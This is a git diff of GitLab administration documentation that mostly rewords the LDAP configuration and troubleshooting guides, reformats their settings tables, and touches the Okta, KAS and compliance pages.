-email address is the primary email address of an existing GitLab user, then
-the LDAP DN is associated with the existing user. If the LDAP email
-attribute is not found in the GitLab user database, a new user is created.
+When a user signs in to GitLab with LDAP for the first time and their LDAP
+email address is the primary email address of an existing GitLab user, the
+LDAP DN is associated with the existing user. If the LDAP email attribute
+isn't found in the GitLab user database, a new user is created.
In other words, if an existing GitLab user wants to enable LDAP sign-in for
themselves, they should check that their GitLab email address matches their
-LDAP email address, and then sign into GitLab via their LDAP credentials.
+LDAP email address, and then sign into GitLab by using their LDAP credentials.
## Google Secure LDAP
@@ -95,7 +86,8 @@ NOTE:
The `encryption` value `simple_tls` corresponds to 'Simple TLS' in the LDAP
library. `start_tls` corresponds to StartTLS, not to be confused with regular TLS.
Normally, if you specify `simple_tls` it is on port 636, while `start_tls` (StartTLS)
-would be on port 389. `plain` also operates on port 389. Removed values: `tls` was replaced with `start_tls` and `ssl` was replaced with `simple_tls`.
+would be on port 389. `plain` also operates on port 389. Removed values: `tls` was replaced
+with `start_tls` and `ssl` was replaced with `simple_tls`.
LDAP users must have a set email address, regardless of whether or not it's used
to sign in.
@@ -165,23 +157,23 @@ production:
### Basic Configuration Settings
-| Setting | Description | Required | Examples |
-| ------- | ----------- | -------- | -------- |
-| `label` | A human-friendly name for your LDAP server. It is displayed on your sign-in page. | yes | `'Paris'` or `'Acme, Ltd.'` |
-| `host` | IP address or domain name of your LDAP server. | yes | `'ldap.mydomain.com'` |
-| `port` | The port to connect with on your LDAP server. Always an integer, not a string. | yes | `389` or `636` (for SSL) |
-| `uid` | LDAP attribute for username. Should be the attribute, not the value that maps to the `uid`. | yes | `'sAMAccountName'` or `'uid'` or `'userPrincipalName'` |
-| `bind_dn` | The full DN of the user you bind with. | no | `'america\momo'` or `'CN=Gitlab,OU=Users,DC=domain,DC=com'` |
-| `password` | The password of the bind user. | no | `'your_great_password'` |
-| `encryption` | Encryption method. The `method` key is deprecated in favor of `encryption`. | yes | `'start_tls'` or `'simple_tls'` or `'plain'` |
-| `verify_certificates` | Enables SSL certificate verification if encryption method is `start_tls` or `simple_tls`. Defaults to true. | no | boolean |
-| `timeout` | Set a timeout, in seconds, for LDAP queries. This helps avoid blocking a request if the LDAP server becomes unresponsive. A value of `0` means there is no timeout. (default: `10`) | no | `10` or `30` |
-| `active_directory` | This setting specifies if LDAP server is Active Directory LDAP server. For non-AD servers it skips the AD specific queries. If your LDAP server is not AD, set this to false. | no | boolean |
-| `allow_username_or_email_login` | If enabled, GitLab ignores everything after the first `@` in the LDAP username submitted by the user on sign-in. If you are using `uid: 'userPrincipalName'` on ActiveDirectory you need to disable this setting, because the userPrincipalName contains an `@`. | no | boolean |
-| `block_auto_created_users` | To maintain tight control over the number of billable users on your GitLab installation, enable this setting to keep new users blocked until they have been cleared by an administrator (default: false). | no | boolean |
-| `base` | Base where we can search for users. | yes | `'ou=people,dc=gitlab,dc=example'` or `'DC=mydomain,DC=com'` |
-| `user_filter` | Filter LDAP users. Format: [RFC 4515](https://tools.ietf.org/search/rfc4515) Note: GitLab does not support `omniauth-ldap`'s custom filter syntax. | no | For examples, read [Examples of user filters](#examples-of-user-filters). |
-| `lowercase_usernames` | If lowercase_usernames is enabled, GitLab converts the name to lower case. | no | boolean |
+| Setting | Description | Required | Examples |
+|--------------------|-------------|----------|----------|
+| `label` | A human-friendly name for your LDAP server. It is displayed on your sign-in page. | **{check-circle}** Yes | `'Paris'` or `'Acme, Ltd.'` |
+| `host` | IP address or domain name of your LDAP server. | **{check-circle}** Yes | `'ldap.mydomain.com'` |
+| `port` | The port to connect with on your LDAP server. Always an integer, not a string. | **{check-circle}** Yes | `389` or `636` (for SSL) |
+| `uid` | LDAP attribute for username. Should be the attribute, not the value that maps to the `uid`. | **{check-circle}** Yes | `'sAMAccountName'` or `'uid'` or `'userPrincipalName'` |
+| `bind_dn` | The full DN of the user you bind with. | **{dotted-circle}** No | `'america\momo'` or `'CN=Gitlab,OU=Users,DC=domain,DC=com'` |
+| `password` | The password of the bind user. | **{dotted-circle}** No | `'your_great_password'` |
+| `encryption` | Encryption method. The `method` key is deprecated in favor of `encryption`. | **{check-circle}** Yes | `'start_tls'` or `'simple_tls'` or `'plain'` |
+| `verify_certificates` | Enables SSL certificate verification if encryption method is `start_tls` or `simple_tls`. Defaults to true. | **{dotted-circle}** No | boolean |
+| `timeout` | Set a timeout, in seconds, for LDAP queries. This helps avoid blocking a request if the LDAP server becomes unresponsive. A value of `0` means there is no timeout. (default: `10`) | **{dotted-circle}** No | `10` or `30` |
+| `active_directory` | This setting specifies if LDAP server is Active Directory LDAP server. For non-AD servers it skips the AD specific queries. If your LDAP server is not AD, set this to false. | **{dotted-circle}** No | boolean |
+| `allow_username_or_email_login` | If enabled, GitLab ignores everything after the first `@` in the LDAP username submitted by the user on sign-in. If you are using `uid: 'userPrincipalName'` on ActiveDirectory you need to disable this setting, because the userPrincipalName contains an `@`. | **{dotted-circle}** No | boolean |
+| `block_auto_created_users` | To maintain tight control over the number of billable users on your GitLab installation, enable this setting to keep new users blocked until they have been cleared by an administrator (default: false). | **{dotted-circle}** No | boolean |
+| `base` | Base where we can search for users. | **{check-circle}** Yes | `'ou=people,dc=gitlab,dc=example'` or `'DC=mydomain,DC=com'` |
+| `user_filter` | Filter LDAP users. Format: [RFC 4515](https://tools.ietf.org/search/rfc4515) Note: GitLab does not support `omniauth-ldap`'s custom filter syntax. | **{dotted-circle}** No | For examples, read [Examples of user filters](#examples-of-user-filters). |
+| `lowercase_usernames` | If enabled, GitLab converts the name to lower case. | **{dotted-circle}** No | boolean |
#### Examples of user filters
@@ -192,41 +184,44 @@ Some examples of the `user_filter` field syntax:
### SSL Configuration Settings
-| Setting | Description | Required | Examples |
-| ------- | ----------- | -------- | -------- |
-| `ca_file` | Specifies the path to a file containing a PEM-format CA certificate, for example, if you need to use an internal CA. | no | `'/etc/ca.pem'` |
-| `ssl_version` | Specifies the SSL version for OpenSSL to use, if the OpenSSL default is not appropriate. | no | `'TLSv1_1'` |
-| `ciphers` | Specific SSL ciphers to use in communication with LDAP servers. | no | `'ALL:!EXPORT:!LOW:!aNULL:!eNULL:!SSLv2'` |
-| `cert` | Client certificate | no | `'-----BEGIN CERTIFICATE----- <REDACTED> -----END CERTIFICATE -----'` |
-| `key` | Client private key | no | `'-----BEGIN PRIVATE KEY----- <REDACTED> -----END PRIVATE KEY -----'` |
+| Setting | Description | Required | Examples |
+|---------------|-------------|----------|----------|
+| `ca_file` | Specifies the path to a file containing a PEM-format CA certificate, for example, if you need to use an internal CA. | **{dotted-circle}** No | `'/etc/ca.pem'` |
+| `ssl_version` | Specifies the SSL version for OpenSSL to use, if the OpenSSL default is not appropriate. | **{dotted-circle}** No | `'TLSv1_1'` |
+| `ciphers` | Specific SSL ciphers to use in communication with LDAP servers. | **{dotted-circle}** No | `'ALL:!EXPORT:!LOW:!aNULL:!eNULL:!SSLv2'` |
+| `cert` | Client certificate. | **{dotted-circle}** No | `'-----BEGIN CERTIFICATE----- <REDACTED> -----END CERTIFICATE -----'` |
+| `key` | Client private key. | **{dotted-circle}** No | `'-----BEGIN PRIVATE KEY----- <REDACTED> -----END PRIVATE KEY -----'` |
### Attribute Configuration Settings
-LDAP attributes that GitLab uses to create an account for the LDAP user. The specified attribute can either be the attribute name as a string (for example, `'mail'`), or an array of attribute names to try in order (for example, `['mail', 'email']`). Note that the user's LDAP sign-in is the attribute specified as `uid` above.
+LDAP attributes that GitLab uses to create an account for the LDAP user. The specified
+attribute can either be the attribute name as a string (for example, `'mail'`), or an
+array of attribute names to try in order (for example, `['mail', 'email']`). Note that
+the user's LDAP sign-in is the attribute specified as `uid` above.
-| Setting | Description | Required | Examples |
-| ------- | ----------- | -------- | -------- |
-| `username` | The username is used in paths for the user's own projects (like `gitlab.example.com/username/project`) and when mentioning them in issues, merge request and comments (like `@username`). If the attribute specified for `username` contains an email address, the GitLab username is part of the email address before the `@`. | no | `['uid', 'userid', 'sAMAccountName']` |
-| `email` | LDAP attribute for user email. | no | `['mail', 'email', 'userPrincipalName']` |
-| `name` | LDAP attribute for user display name. If `name` is blank, the full name is taken from the `first_name` and `last_name`. | no | Attributes `'cn'`, or `'displayName'` commonly carry full names. Alternatively, you can force the use of `first_name` and `last_name` by specifying an absent attribute such as `'somethingNonExistent'`. |
-| `first_name` | LDAP attribute for user first name. Used when the attribute configured for `name` does not exist. | no | `'givenName'` |
-| `last_name` | LDAP attribute for user last name. Used when the attribute configured for `name` does not exist. | no | `'sn'` |
+| Setting | Description | Required | Examples |
+|--------------|-------------|----------|----------|
+| `username` | The username is used in paths for the user's own projects (like `gitlab.example.com/username/project`) and when mentioning them in issues, merge request and comments (like `@username`). If the attribute specified for `username` contains an email address, the GitLab username is part of the email address before the `@`. | **{dotted-circle}** No | `['uid', 'userid', 'sAMAccountName']` |
+| `email` | LDAP attribute for user email. | **{dotted-circle}** No | `['mail', 'email', 'userPrincipalName']` |
+| `name` | LDAP attribute for user display name. If `name` is blank, the full name is taken from the `first_name` and `last_name`. | **{dotted-circle}** No | Attributes `'cn'`, or `'displayName'` commonly carry full names. Alternatively, you can force the use of `first_name` and `last_name` by specifying an absent attribute such as `'somethingNonExistent'`. |
+| `first_name` | LDAP attribute for user first name. Used when the attribute configured for `name` does not exist. | **{dotted-circle}** No | `'givenName'` |
+| `last_name` | LDAP attribute for user last name. Used when the attribute configured for `name` does not exist. | **{dotted-circle}** No | `'sn'` |
### LDAP Sync Configuration Settings **(PREMIUM SELF)**
-| Setting | Description | Required | Examples |
-| ------- | ----------- | -------- | -------- |
-| `group_base` | Base used to search for groups. | no | `'ou=groups,dc=gitlab,dc=example'` |
-| `admin_group` | The CN of a group containing GitLab administrators. Note: Not `cn=administrators` or the full DN. | no | `'administrators'` |
-| `external_groups` | An array of CNs of groups containing users that should be considered external. Note: Not `cn=interns` or the full DN. | no | `['interns', 'contractors']` |
-| `sync_ssh_keys` | The LDAP attribute containing a user's public SSH key. | no | `'sshPublicKey'` or false if not set |
+| Setting | Description | Required | Examples |
+|-------------------|-------------|----------|----------|
+| `group_base` | Base used to search for groups. | **{dotted-circle}** No | `'ou=groups,dc=gitlab,dc=example'` |
+| `admin_group` | The CN of a group containing GitLab administrators. Note: Not `cn=administrators` or the full DN. | **{dotted-circle}** No | `'administrators'` |
+| `external_groups` | An array of CNs of groups containing users that should be considered external. Note: Not `cn=interns` or the full DN. | **{dotted-circle}** No | `['interns', 'contractors']` |
+| `sync_ssh_keys` | The LDAP attribute containing a user's public SSH key. | **{dotted-circle}** No | `'sshPublicKey'` or false if not set |
### Set up LDAP user filter
If you want to limit all GitLab access to a subset of the LDAP users on your
LDAP server, the first step should be to narrow the configured `base`. However,
-it is sometimes necessary to filter users further. In this case, you can set up
-an LDAP user filter. The filter must comply with
+it's sometimes necessary to further filter users. In this case, you can set
+up an LDAP user filter. The filter must comply with
[RFC 4515](https://tools.ietf.org/search/rfc4515).
**Omnibus configuration**
@@ -252,7 +247,7 @@ production:
```
If you want to limit access to the nested members of an Active Directory
-group, you can use the following syntax:
+group, use the following syntax:
```plaintext
(memberOf:1.2.840.113556.1.4.1941:=CN=My Group,DC=Example,DC=com)
@@ -260,11 +255,10 @@ group, you can use the following syntax:
For more information about this "LDAP_MATCHING_RULE_IN_CHAIN" filter, see the following
[Microsoft Search Filter Syntax](https://docs.microsoft.com/en-us/windows/win32/adsi/search-filter-syntax) document.
-Support for nested members in the user filter should not be confused with
+Support for nested members in the user filter shouldn't be confused with
[group sync nested groups support](#supported-ldap-group-typesattributes). **(PREMIUM SELF)**
-Please note that GitLab does not support the custom filter syntax used by
-OmniAuth LDAP.
+GitLab does not support the custom filter syntax used by OmniAuth LDAP.
#### Escaping special characters
@@ -342,7 +336,7 @@ an alternative such as SAML is preferred. This allows LDAP to be used for group
sync, while also allowing your SAML identity provider to handle additional
checks like custom 2FA.
-When LDAP web sign in is disabled, users don't see an **LDAP** tab on the sign in page.
+When LDAP web sign in is disabled, users don't see an **LDAP** tab on the sign-in page.
This does not disable [using LDAP credentials for Git access](#git-password-authentication).
**Omnibus configuration**
@@ -373,7 +367,7 @@ Instead of having the LDAP integration credentials stored in plaintext in the co
use an encrypted file for the LDAP credentials. To use this feature, you first need to enable
[GitLab encrypted configuration](../../encrypted_configuration.md).
-The encrypted configuration for LDAP exists in an encrypted YAML file. By default the file will be created at
+The encrypted configuration for LDAP exists in an encrypted YAML file. By default the file is created at
`shared/encrypted_configuration/ldap.yaml.enc`. This location is configurable in the GitLab configuration.
The unencrypted contents of the file should be a subset of the secret settings from your `servers` block in the LDAP
@@ -520,7 +514,9 @@ gitlab_rails['ldap_servers'] = {
}
```
-If you configure multiple LDAP servers, use a unique naming convention for the `label` section of each entry. That label is used as the display name of the tab shown on the sign-in page.
+If you configure multiple LDAP servers, use a unique naming convention for the
+`label` section of each entry. That label is used as the display name of the tab
+shown on the sign-in page.
## User sync **(PREMIUM SELF)**
@@ -545,13 +541,13 @@ For more information, see [Bitmask Searches in LDAP](https://ctovswild.com/2009/
<!-- vale gitlab.Spelling = YES -->
The user is set to an `ldap_blocked` state in GitLab if the previous conditions
-fail. This means the user is not able to sign in or push/pull code.
+fail. This means the user cannot sign in or push or pull code.
The process also updates the following user information:
-- Email address.
-- If `sync_ssh_keys` is set, SSH public keys.
-- If Kerberos is enabled, Kerberos identity.
+- Email address
+- SSH public keys (if `sync_ssh_keys` is set)
+- Kerberos identity (if Kerberos is enabled)
The LDAP sync process:
@@ -643,19 +639,22 @@ or more LDAP group links](#adding-group-links).
### Adding group links **(PREMIUM SELF)**
-For information on adding group links via CNs and filters, refer to [the GitLab groups documentation](../../../user/group/index.md#manage-group-memberships-via-ldap).
+For information on adding group links by using CNs and filters, refer to the
+[GitLab groups documentation](../../../user/group/index.md#manage-group-memberships-via-ldap).
### Administrator sync **(PREMIUM SELF)**
As an extension of group sync, you can automatically manage your global GitLab
administrators. Specify a group CN for `admin_group` and all members of the
-LDAP group will be given administrator privileges. The configuration looks
+LDAP group are given administrator privileges. The configuration looks
like the following.
NOTE:
Administrators are not synced unless `group_base` is also
specified alongside `admin_group`. Also, only specify the CN of the `admin_group`,
as opposed to the full DN.
+Additionally, note that if an LDAP user has an `admin` role, but is not a member of the `admin_group`
+group, GitLab revokes their `admin` role when syncing.
**Omnibus configuration**
@@ -705,8 +704,10 @@ When enabled, the following applies:
To enable it you need to:
1. [Enable LDAP](#configuration)
-1. Go to **Admin Area > Settings > Visibility and access controls**.
-1. Make sure the **Lock memberships to LDAP synchronization** checkbox is selected.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, select **Settings > General**.
+1. Expand the **Visibility and access controls** section.
+1. Ensure the **Lock memberships to LDAP synchronization** checkbox is selected.
### Adjusting LDAP group sync schedule **(PREMIUM SELF)**
@@ -717,13 +718,13 @@ The values shown are in cron format. If needed, you can use a
WARNING:
Do not start the sync process too frequently as this
could lead to multiple syncs running concurrently. This is primarily a concern
-for installations with a large number of LDAP users. Please review the
+for installations with a large number of LDAP users. Review the
[LDAP group sync benchmark metrics](#benchmarks) to see how
your installation compares before proceeding.
You can manually configure LDAP group sync times by setting the
following configuration values. The example below shows how to set group
-sync to run once every 2 hours at the top of the hour.
+sync to run once every two hours at the top of the hour.
**Omnibus installations**
@@ -749,7 +750,7 @@ sync to run once every 2 hours at the top of the hour.
### External groups **(PREMIUM SELF)**
-Using the `external_groups` setting will allow you to mark all users belonging
+Using the `external_groups` setting allows you to mark all users belonging
to these groups as [external users](../../../user/permissions.md#external-users).
Group membership is checked periodically through the `LdapGroupSync` background
task.
@@ -786,15 +787,14 @@ task.
### Group sync technical details
-There is a lot going on with group sync 'under the hood'. This section
-outlines what LDAP queries are executed and what behavior you can expect
-from group sync.
+This section outlines what LDAP queries are executed and what behavior you
+can expect from group sync.
Group member access are downgraded from a higher level if their LDAP group
-membership changes. For example, if a user has 'Owner' rights in a group and the
-next group sync reveals they should only have 'Developer' privileges, their
+membership changes. For example, if a user the Owner role in a group and the
+next group sync reveals they should only have the Developer role, their
access is adjusted accordingly. The only exception is if the user is the
-*last* owner in a group. Groups need at least one owner to fulfill
+last owner in a group. Groups need at least one owner to fulfill
administrative duties.
#### Supported LDAP group types/attributes
@@ -805,18 +805,20 @@ GitLab supports LDAP groups that use member attributes:
- `submember`
- `uniquemember`
- `memberof`
-- `memberuid`.
+- `memberuid`
+
+This means group sync supports (at least) LDAP groups with the following object
+classes:
-This means group sync supports, at least, LDAP groups with the following object classes:
-`groupOfNames`, `posixGroup`, and `groupOfUniqueNames`.
+- `groupOfNames`
+- `posixGroup`
+- `groupOfUniqueNames`
-Other object classes should work fine as long as members
-are defined as one of the mentioned attributes. This also means GitLab supports
-Microsoft Active Directory, Apple Open Directory, Open LDAP, and 389 Server.
-Other LDAP servers should work, too.
+Other object classes should work if members are defined as one of the
+mentioned attributes.
-Active Directory also supports nested groups. Group sync recursively
-resolves membership if `active_directory: true` is set in the configuration file.
+Active Directory supports nested groups. Group sync recursively resolves
+membership if `active_directory: true` is set in the configuration file.
##### Nested group memberships
@@ -842,7 +844,7 @@ Group sync was written to be as performant as possible. Data is cached, database
queries are optimized, and LDAP queries are minimized. The last benchmark run
revealed the following metrics:
-For 20000 LDAP users, 11000 LDAP groups and 1000 GitLab groups with 10
+For 20,000 LDAP users, 11,000 LDAP groups, and 1,000 GitLab groups with 10
LDAP group links each:
- Initial sync (no existing members assigned in GitLab) took 1.8 hours
@@ -855,4 +857,4 @@ network and LDAP server response time affects these metrics.
## Troubleshooting
-Please see our [administrator guide to troubleshooting LDAP](ldap-troubleshooting.md).
+See our [administrator guide to troubleshooting LDAP](ldap-troubleshooting.md).
diff --git a/doc/administration/auth/ldap/ldap-troubleshooting.md b/doc/administration/auth/ldap/ldap-troubleshooting.md
index 1e6684751ed..acafe52007b 100644
--- a/doc/administration/auth/ldap/ldap-troubleshooting.md
+++ b/doc/administration/auth/ldap/ldap-troubleshooting.md
@@ -20,7 +20,7 @@ or `encryption: 'simple_tls'` and `port: 636`.
#### Connection times out
-If GitLab cannot reach your LDAP endpoint, you will see a message like this:
+If GitLab cannot reach your LDAP endpoint, you see a message like this:
```plaintext
Could not authenticate you from Ldapmain because "Connection timed out - user specified timeout".
@@ -79,7 +79,7 @@ adapter.ldap_search(options)
```
For examples of how this is run,
-[review the `Adapter` module](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/lib/ee/gitlab/auth/ldap/adapter.rb).
+[review the `Adapter` module](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/ee/gitlab/auth/ldap/adapter.rb).
### User sign-ins
@@ -145,7 +145,8 @@ may see the following message: `Access denied for your LDAP account`.
We have a workaround, based on toggling the access level of affected users:
-1. As an administrator, go to **Admin Area > Overview > Users**.
+1. As an administrator, on the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, select **Overview > Users**.
1. Select the name of the affected user.
1. In the user's administrative page, press **Edit** on the top right of the page.
1. Change the user's access level from `Regular` to `Admin` (or vice versa),
@@ -192,6 +193,24 @@ This shows you which user has this email address. One of two steps must be taken
The user can do either of these steps [in their
profile](../../../user/profile/index.md#access-your-user-profile) or an administrator can do it.
+#### Projects limit errors
+
+The following errors indicate that a limit or restriction is activated, but an associated data
+field contains no data:
+
+- `Projects limit can't be blank`.
+- `Projects limit is not a number`.
+
+To resolve this:
+
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, go to **Settings > General**.
+1. Expand both of the following:
+ - **Account and limit**.
+ - **Sign-up restrictions**.
+1. Check, for example, the **Default projects limit** or **Allowed domains for sign-ups**
+ fields and ensure that a relevant value is configured.
+
#### Debug LDAP user filter
[`ldapsearch`](#ldapsearch) allows you to test your configured
@@ -329,8 +348,9 @@ things to check to debug the situation.
group](index.md#adding-group-links).
- Check that the user has an LDAP identity:
1. Sign in to GitLab as an administrator user.
- 1. Go to **Admin area > Users**.
- 1. Search for the user
+ 1. On the top bar, select **Menu >** **{admin}** **Admin**.
+ 1. On the left sidebar, select **Overview > Users**.
+ 1. Search for the user.
1. Open the user by clicking their name. Do not click **Edit**.
1. Select the **Identities** tab. There should be an LDAP identity with
an LDAP DN as the 'Identifier'. If not, this user hasn't signed in with
@@ -367,7 +387,7 @@ the following are true:
- The configured `admin_group` in the `gitlab.rb` is a CN, rather than a DN or an array.
- This CN falls under the scope of the configured `group_base`.
- The members of the `admin_group` have already signed into GitLab with their LDAP
- credentials. GitLab will only grant this administrator access to the users whose
+ credentials. GitLab only grants this administrator access to the users whose
accounts are already connected to LDAP.
If all the above are true and the users are still not getting access, [run a manual
@@ -396,7 +416,7 @@ output](#example-console-output-after-a-group-sync).
##### Example console output after a group sync **(PREMIUM SELF)**
Like the output from the user sync, the output from the [manual group
-sync](#sync-all-groups) will also be very verbose. However, it contains lots
+sync](#sync-all-groups) is also very verbose. However, it contains lots
of helpful information.
Indicates the point where syncing actually begins:
@@ -407,7 +427,7 @@ Started syncing 'ldapmain' provider for 'my_group' group
The following entry shows an array of all user DNs GitLab sees in the LDAP server.
Note that these are the users for a single LDAP group, not a GitLab group. If
-you have multiple LDAP groups linked to this GitLab group, you will see multiple
+you have multiple LDAP groups linked to this GitLab group, you see multiple
log entries like this - one for each LDAP group. If you don't see an LDAP user
DN in this log entry, LDAP is not returning the user when we do the lookup.
Verify the user is actually in the LDAP group.
@@ -421,7 +441,7 @@ Members in 'ldap_group_1' LDAP group: ["uid=john0,ou=people,dc=example,dc=com",
"uid=mary4,ou=people,dc=example,dc=com"]
```
-Shortly after each of the above entries, you will see a hash of resolved member
+Shortly after each of the above entries, you see a hash of resolved member
access levels. This hash represents all user DNs GitLab thinks should have
access to this group, and at which access level (role). This hash is additive,
and more DNs may be added, or existing entries modified, based on additional
@@ -462,21 +482,21 @@ Finally, the following entry says syncing has finished for this group:
Finished syncing all providers for 'my_group' group
```
-Once all the configured group links have been synchronized, GitLab will look
+Once all the configured group links have been synchronized, GitLab looks
for any Administrators or External users to sync:
```shell
Syncing admin users for 'ldapmain' provider
```
-The output will look similar to what happens with a single group, and then
-this line will indicate the sync is finished:
+The output looks similar to what happens with a single group, and then
+this line indicates the sync is finished:
```shell
Finished syncing admin users for 'ldapmain' provider
```
-If [administrator sync](index.md#administrator-sync) is not configured, you'll see a message
+If [administrator sync](index.md#administrator-sync) is not configured, you see a message
stating as such:
```shell
@@ -502,8 +522,8 @@ group = Group.find_by(name: 'my_gitlab_group')
EE::Gitlab::Auth::Ldap::Sync::Group.execute_all_providers(group)
```
-The output will be similar to
-[that you'd get from syncing all groups](#example-console-output-after-a-group-sync).
+The output is similar to
+[that you get from syncing all groups](#example-console-output-after-a-group-sync).
#### Query a group in LDAP **(PREMIUM SELF)**
@@ -524,24 +544,25 @@ ldap_group.member_uids
When an LDAP user is created in GitLab, their LDAP DN is stored for later reference.
-If GitLab cannot find a user by their DN, it will fall back
-to finding the user by their email. If the lookup is successful, GitLab will
-update the stored DN to the new value so both values will now match what's in
+If GitLab cannot find a user by their DN, it falls back
+to finding the user by their email. If the lookup is successful, GitLab
+updates the stored DN to the new value so both values now match what's in
LDAP.
-If the email has changed and the DN has not, GitLab will find the user with
+If the email has changed and the DN has not, GitLab finds the user with
the DN and update its own record of the user's email to match the one in LDAP.
-However, if the primary email _and_ the DN change in LDAP, then GitLab will
-have no way of identifying the correct LDAP record of the user and, as a
-result, the user will be blocked. To rectify this, the user's existing
-profile will have to be updated with at least one of the new values (primary
+However, if the primary email _and_ the DN change in LDAP, then GitLab
+has no way of identifying the correct LDAP record of the user and, as a
+result, the user is blocked. To rectify this, the user's existing
+profile must be updated with at least one of the new values (primary
email or DN) so the LDAP record can be found.
-The following script will update the emails for all provided users so they
-won't be blocked or unable to access their accounts.
+The following script updates the emails for all provided users so they
+aren't blocked or unable to access their accounts.
->**NOTE**: The following script will require that any new accounts with the new
+NOTE:
+The following script requires that any new accounts with the new
email address are removed first. This is because emails have to be unique in GitLab.
Go to the [rails console](#rails-console) and then run:
@@ -588,23 +609,23 @@ users, [see what to do when no users are found](#no-users-are-found).
### GitLab logs
If a user account is blocked or unblocked due to the LDAP configuration, a
-message will be [logged to `application.log`](../../logs.md#applicationlog).
+message is [logged to `application.log`](../../logs.md#applicationlog).
If there is an unexpected error during an LDAP lookup (configuration error,
-timeout), the sign-in is rejected and a message will be [logged to
+timeout), the sign-in is rejected and a message is [logged to
`production.log`](../../logs.md#productionlog).
### ldapsearch
-`ldapsearch` is a utility that will allow you to query your LDAP server. You can
+`ldapsearch` is a utility that allows you to query your LDAP server. You can
use it to test your LDAP settings and ensure that the settings you're using
-will get you the results you expect.
+get you the results you expect.
When using `ldapsearch`, be sure to use the same settings you've already
specified in your `gitlab.rb` configuration so you can confirm what happens
when those exact settings are used.
-Running this command on the GitLab host will also help confirm that there's no
+Running this command on the GitLab host also helps confirm that there's no
obstruction between the GitLab host and LDAP.
For example, consider the following GitLab configuration:
@@ -685,9 +706,9 @@ For instructions about how to use the rails console, refer to this
#### Enable debug output
-This will provide debug output that will be useful to see
-what GitLab is doing and with what. This value is not persisted, and will only
-be enabled for this session in the rails console.
+This provides debug output that is useful to see
+what GitLab is doing and with what. This value is not persisted, and is only
+enabled for this session in the rails console.
To enable debug output in the rails console, [enter the rails
console](#rails-console) and run:
diff --git a/doc/administration/auth/okta.md b/doc/administration/auth/okta.md
index 88e9180b103..64b42339d19 100644
--- a/doc/administration/auth/okta.md
+++ b/doc/administration/auth/okta.md
@@ -1,5 +1,6 @@
---
redirect_to: '../../integration/saml.md'
+remove_date: '2021-06-15'
---
This document was moved to [another location](../../integration/saml.md).
diff --git a/doc/administration/clusters/kas.md b/doc/administration/clusters/kas.md
index 1b9638411de..8e5c162001e 100644
--- a/doc/administration/clusters/kas.md
+++ b/doc/administration/clusters/kas.md
@@ -127,5 +127,5 @@ time="2020-10-29T04:44:14Z" level=warning msg="Config: failed to fetch" agent_id
It means that the path to the configuration project is incorrect,
or the path to `config.yaml` inside the project is not valid.
-To fix this, ensure that the paths to the configuration repo and to the `config.yaml` file
+To fix this, ensure that the paths to the configuration repository and to the `config.yaml` file
are correct.
diff --git a/doc/administration/compliance.md b/doc/administration/compliance.md
index 470dc1b4f9e..6b80ddbcdb5 100644
--- a/doc/administration/compliance.md
+++ b/doc/administration/compliance.md
@@ -4,7 +4,7 @@ group: Compliance
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Compliance features
+# Compliance features **(FREE)**
You can configure the following GitLab features to help ensure that your GitLab
instance meets common compliance standards. Click a feature name for additional
@@ -13,20 +13,20 @@ documentation.
The [security features](../security/README.md) in GitLab may also help you meet
relevant compliance standards.
-|Feature |GitLab tier |GitLab SaaS | Product level |
-| ---------| :--------: | :-------: | :-----------: |
-|**[Restrict SSH Keys](../security/ssh_keys_restrictions.md)**<br>Control the technology and key length of SSH keys used to access GitLab|Free+||Instance|
-|**[Granular user roles and flexible permissions](../user/permissions.md)**<br>Manage access and permissions with five different user roles and settings for external users. Set permissions according to people's role, rather than either read or write access to a repository. Don't share the source code with people that only need access to the issue tracker.|Free+|✓|Instance, Group, Project|
-|**[Enforce TOS acceptance](../user/admin_area/settings/terms.md)**<br>Enforce your users accepting new terms of service by blocking GitLab traffic.|Free+||Instance|
-|**[Email all users of a project, group, or entire server](../tools/email.md)**<br>An administrator can email groups of users based on project or group membership, or email everyone using the GitLab instance. This is great for scheduled maintenance or upgrades.|Premium+||Instance|
-|**[Omnibus package supports log forwarding](https://docs.gitlab.com/omnibus/settings/logs.html#udp-log-forwarding)**<br>Forward your logs to a central system.|Premium+||Instance|
-|**[Lock project membership to group](../user/group/index.md#prevent-members-from-being-added-to-a-group)**<br>Group owners can prevent new members from being added to projects within a group.|Premium+|✓|Group|
-|**[LDAP group sync](auth/ldap/index.md#group-sync)**<br>GitLab Enterprise Edition gives administrators the ability to automatically sync groups and manage SSH keys, permissions, and authentication, so you can focus on building your product, not configuring your tools.|Premium+||Instance|
-|**[LDAP group sync filters](auth/ldap/index.md#group-sync)**<br>GitLab Enterprise Edition Premium gives more flexibility to synchronize with LDAP based on filters, meaning you can leverage LDAP attributes to map GitLab permissions.|Premium+||Instance|
-|**[Audit events](audit_events.md)**<br>To maintain the integrity of your code, GitLab Enterprise Edition Premium gives administrators the ability to view any modifications made within the GitLab server in an advanced audit events system, so you can control, analyze, and track every change.|Premium+|✓|Instance, Group, Project|
-|**[Auditor users](auditor_users.md)**<br>Auditor users are users who are given read-only access to all projects, groups, and other resources on the GitLab instance.|Premium+||Instance|
-|**[Credentials inventory](../user/admin_area/credentials_inventory.md)**<br>With a credentials inventory, GitLab administrators can keep track of the credentials used by all of the users in their GitLab instance. |Ultimate||Instance|
-|**Separation of Duties using [Protected branches](../user/project/protected_branches.md#protected-branches-approval-by-code-owners) and [custom CI Configuration Paths](../ci/pipelines/settings.md#custom-cicd-configuration-path)**<br> GitLab Premium users can leverage the GitLab cross-project YAML configurations to define deployers of code and developers of code. View the [Separation of Duties Deploy Project](https://gitlab.com/guided-explorations/separation-of-duties-deploy/blob/master/README.md) and [Separation of Duties Project](https://gitlab.com/guided-explorations/separation-of-duties/blob/master/README.md) to see how to use this set up to define these roles.|Premium+|✓|Project|
-|**[Compliance frameworks](../user/project/settings/index.md#compliance-frameworks)**<br>Create a custom compliance framework at the group level to describe the type of compliance requirements any child project needs to follow. |Premium+|✓|Group|
-|**[Compliance pipelines](../user/project/settings/index.md#compliance-pipeline-configuration)**<br>Define a pipeline configuration to run for any projects with a given compliance framework.|Ultimate|✓|Group|
